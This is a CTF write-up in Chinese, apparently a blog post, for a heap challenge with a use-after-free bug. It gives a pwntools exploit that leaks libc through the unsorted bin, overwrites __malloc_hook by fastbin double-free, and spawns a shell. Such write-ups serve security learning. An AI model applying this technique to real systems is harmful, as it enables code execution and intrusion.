w4-2

漏洞:delete时没有把指针置零,可以UAF。
基本功能:

  1. New Post
  2. Edit a Post
  3. Delete a Post
  4. Show all Posts
  5. I want to post a lonely hearts ad!!!
  6. Exit

交互

def add(index, data):
    io.recvuntil('Your Choice:')
    io.sendline(str(index))
    io.recvuntil('Content:')
    io.send(data)
def edit(index, data):
    io.recvuntil('Your Choice:')
    io.sendline('2')
    io.recvuntil('Index:')
    io.sendline(str(index))
    io.recvuntil('Content:')
    io.send(data)
def dele(index):
    io.recvuntil('Your Choice:')
    io.sendline('3')
    io.recvuntil('Index:')
    io.sendline(str(index))
def show():
    io.recvuntil('Your Choice:')
    io.sendline('4')

exp1:
1、通过unsorted bin泄露main arena。
2、fastbin attack劫持malloc_hook。
3、调用malloc,system(’/bin/sh’)。

# unsorted bin泄露main arena
add(5, 'a')
add(1, 'b')
add(1, 'c')
dele(0)
add(1, 'aaaaaaaa')
show()
io.recvuntil('aaaaaaaa')
libcbase = u64(io.recv(6)+'\x00\x00') - 0x3c4c78
print hex(libcbase)
mallochook = libcbase + libc.symbols['__malloc_hook']
print hex(mallochook)
one = libcbase + 0xf1147
print hex(one)
# fastbin attack劫持malloc hook
dele(1)
dele(2)
dele(1)
fakefd = mallochook-0x23
add(1, p64(fakefd))
add(1, 'e')
add(1, 'f')
add(1, 'a'*19+p64(one))
# mallochook()
io.recvuntil('Choice:')
io.sendline('1')
io.interactive()

反思:
fastbin不会被unlink。
相关资源:
https://gitee.com/sunrise1/CTF/blob/master/w4-2.zip

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值